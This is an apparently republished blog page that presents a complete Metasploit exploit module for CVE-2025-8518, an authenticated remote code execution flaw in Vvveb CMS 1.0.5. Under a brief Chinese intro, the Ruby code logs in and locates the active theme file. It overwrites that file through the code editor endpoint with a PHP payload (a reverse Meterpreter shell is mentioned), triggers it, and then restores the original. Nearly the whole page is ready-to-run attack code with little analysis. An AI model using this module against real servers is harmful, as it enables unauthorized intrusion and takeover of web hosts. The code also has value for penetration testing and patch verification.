Vvveb CMS 1.0.5远程代码执行漏洞利用分析

本文详细分析了Vvveb CMS 1.0.5版本中的远程代码执行漏洞CVE-2025-8518,包含完整的Metasploit利用模块代码,涉及代码编辑器功能的安全缺陷和认证后的攻击流程。

https://sploitus.com/exploit?id=PACKETSTORM:210781

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Remote Code Execution Vulnerability in Vvveb',
        'Description' => %q{
          Vvveb CMS 易受通过代码编辑器功能的代码注入攻击。

          未经过滤的编辑功能允许攻击者控制对Web可访问文件系统上现有文件的更改,
          当这些修改后的文件被应用程序或Web服务器执行或提供时,
          具有代码编辑器访问权限的远程认证攻击者可以实现代码执行。

          此漏洞影响 Vvveb CMS 版本至 1.0.5(包括)。
          成功利用可能导致在Web服务器权限下执行远程代码,
          可能暴露敏感数据或中断调查操作。

          攻击者可以在运行Web服务器的用户上下文中执行任意系统命令。
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Maksim Rogov', # Metasploit Module
          'Hamed Kohi' # Vulnerability Discovery
        ],
        'References' => [
          ['CVE', '2025-8518'],
          ['URL', 'https://hkohi.ca/vulnerability/8']
        ],
        'Platform' => ['php'],
        'Arch' => [ARCH_PHP],
        'Targets' => [
          [
            'PHP',
            {
              'Platform' => ['php'],
              'Arch' => ARCH_PHP
              # Tested with php/meterpreter/reverse_tcp
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2025-01-10',
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK],
          'Reliability' => [REPEATABLE_SESSION]
        }
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [true, 'Path to Vvveb CMS', '/admin/']),
        OptString.new('USERNAME', [true, 'The username used to authenticate to Vvveb CMS', 'admin']),
        OptString.new('PASSWORD', [true, 'The password used to authenticate to Vvveb CMS', ''])
      ]
    )
  end

  def get_csrf_token
    print_status('Fetching CSRF token...')

    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path),
      'method' => 'GET',
      'keep_cookies' => true
    )
    fail_with(Failure::Unreachable, "#{peer} - No response from web service") unless res
    fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected HTTP code #{res.code}") unless res.code == 200

    html = res.get_html_document
    csrf_input = html.at('input[name="csrf"]')
    fail_with(Failure::UnexpectedReply, "#{peer} - Unable to extract CSRF token") unless csrf_input

    token = csrf_input.attributes.fetch('value', nil)
    fail_with(Failure::UnexpectedReply, "#{peer} - CSRF token is empty") if token.blank?

    print_good("Token successfully fetched: #{token}")
    token.to_s
  end

  def login(raise_on_fail: true)
    csrf_token = get_csrf_token

    print_status('Attempting login...')

    post_data = Rex::MIME::Message.new
    post_data.add_part(csrf_token, nil, nil, 'form-data; name="csrf"')
    post_data.add_part('', nil, nil, 'form-data; name="redir"')
    post_data.add_part(datastore['USERNAME'], nil, nil, 'form-data; name="user"')
    post_data.add_part(datastore['PASSWORD'], nil, nil, 'form-data; name="password"')

    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path),
      'method' => 'POST',
      'keep_cookies' => true,
      'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
      'vars_get' => { 'module' => 'user/login' },
      'data' => post_data.to_s
    )

    if raise_on_fail
      fail_with(Failure::Unreachable, "#{peer} - No response from web service") unless res
      fail_with(Failure::NoAccess, "#{peer} - Incorrect credentials - #{datastore['USERNAME']}:#{datastore['PASSWORD']}") if res.body.include?('wrong email or password')
      fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected HTTP code #{res.code}") unless res.code == 302
    else
      return CheckCode::Unknown('It was not possible to determine the software version because a network error occurred during the authentication process') unless res
      return CheckCode::Unknown("It was not possible to determine the software version because the provided credenaials #{datastore['USERNAME']}:#{datastore['PASSWORD']} are invalid") if res.body.include?('wrong email or password')
      return CheckCode::Unknown('It was not possible to determine the software version because an unknown network error code was returned during the authentication process') unless res.code == 302
    end

    @logged_in = true
    print_good('Login successful')
    return
  end

  def get_active_theme_path
    print_status('Identifying the active theme path...')

    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'index.php'),
      'method' => 'GET',
      'vars_get' => { 'module' => 'theme/themes' }
    )
    fail_with(Failure::Unreachable, "#{peer} - No response from web service") unless res
    fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected HTTP code #{res.code}") unless res.code == 200

    active_theme = res.get_html_document.at('div.list-card.active')
    fail_with(Failure::UnexpectedReply, "#{peer} - Card with the active theme was not found") if active_theme.blank?

    theme_preview = active_theme.at('.card-img-top img').attributes.fetch('src', nil)
    fail_with(Failure::UnexpectedReply, "#{peer} - Preview of the active theme card was not found") if theme_preview.blank?

    theme_dir = File.dirname(theme_preview)
    theme_path = theme_dir + '/theme.php'

    print_good("Theme path successfully identified: #{theme_path}")
    theme_path
  end

  def get_theme_content(theme_path)
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'index.php'),
      'method' => 'GET',
      'vars_get' => {
        'module' => 'editor/code',
        'action' => 'loadFile',
        'type' => 'themes',
        'file' => theme_path
      }
    )
    fail_with(Failure::Unreachable, "#{peer} - No response from web service") unless res
    fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected HTTP code #{res.code}") unless res.code == 200

    res.body
  end

  def set_theme_content(theme_path, content)
    post_data = Rex::MIME::Message.new
    post_data.add_part(content, nil, nil, 'form-data; name="content"')

    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'index.php'),
      'method' => 'POST',
      'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
      'vars_get' => {
        'module' => 'editor/code',
        'action' => 'save',
        'type' => 'themes',
        'file' => theme_path
      },
      'data' => post_data.to_s
    )

    fail_with(Failure::Unreachable, "#{peer} - No response from web service") unless res
    fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected HTTP code #{res.code}") if res.code != 200
  end

  def trigger_payload(_theme_path)
    print_status('Triggering payload...')

    send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'index.php'),
      'method' => 'GET',
      'vars_get' => {
        'module' => 'editor/editor',
        'url' => '/',
        'template' => 'index.html'
      }
    )
  end

  def set_payload(theme_path)
    print_status('Setting up payload...')
    set_theme_content(theme_path, payload.encoded)
    print_good('Payload setup complete')
  end

  def check
    error_message = login(raise_on_fail: false)
    return error_message if error_message

    print_status('Checking version...')

    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'index.php'),
      'method' => 'GET',
      'vars_get' => { 'module' => 'tools/systeminfo' }
    )
    return CheckCode::Detected('Authentication process completed successfully. It means that the server uses Vvveb CMS. However, it was not possible to determine the software version because a network error occurred during the request to the software version page') unless res
    return CheckCode::Detected("Authentication process completed successfully. It means that the server uses Vvveb CMS. However, it was not possible to determine the software version because the server returned an unknown status code #{res.code} during the request to the software version page") unless res.code == 200

    version_td = res.get_html_document.at('tr:has(th:contains("Vvveb version")) td')
    return CheckCode::Detected('Authentication process and the request to the software version page both completed successfully. It means that the server uses Vvveb CMS. However, The Vvveb version tag was not found on the software version page') if version_td.nil?

    version = Rex::Version.new(version_td&.text&.strip)
    return CheckCode::Appears("Detected version #{version}, which is vulnerable") if version <= Rex::Version.new('1.0.5')

    CheckCode::Safe("Detected version #{version}, which is not vulnerable")
  end

  def cleanup
    begin
      set_theme_content(@theme_path, @default_theme_content) unless @theme_path.nil? && @default_theme_content.nil?
    rescue StandardError
      # After receiving the shell, when calling the set_theme_content, the server times out, but there is no need to return an error.
    end

    super
  end

  def exploit
    login(raise_on_fail: true) unless @logged_in
    @theme_path = get_active_theme_path
    @default_theme_content = get_theme_content(@theme_path)
    set_payload(@theme_path)
    trigger_payload(@theme_path)
  end
end
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计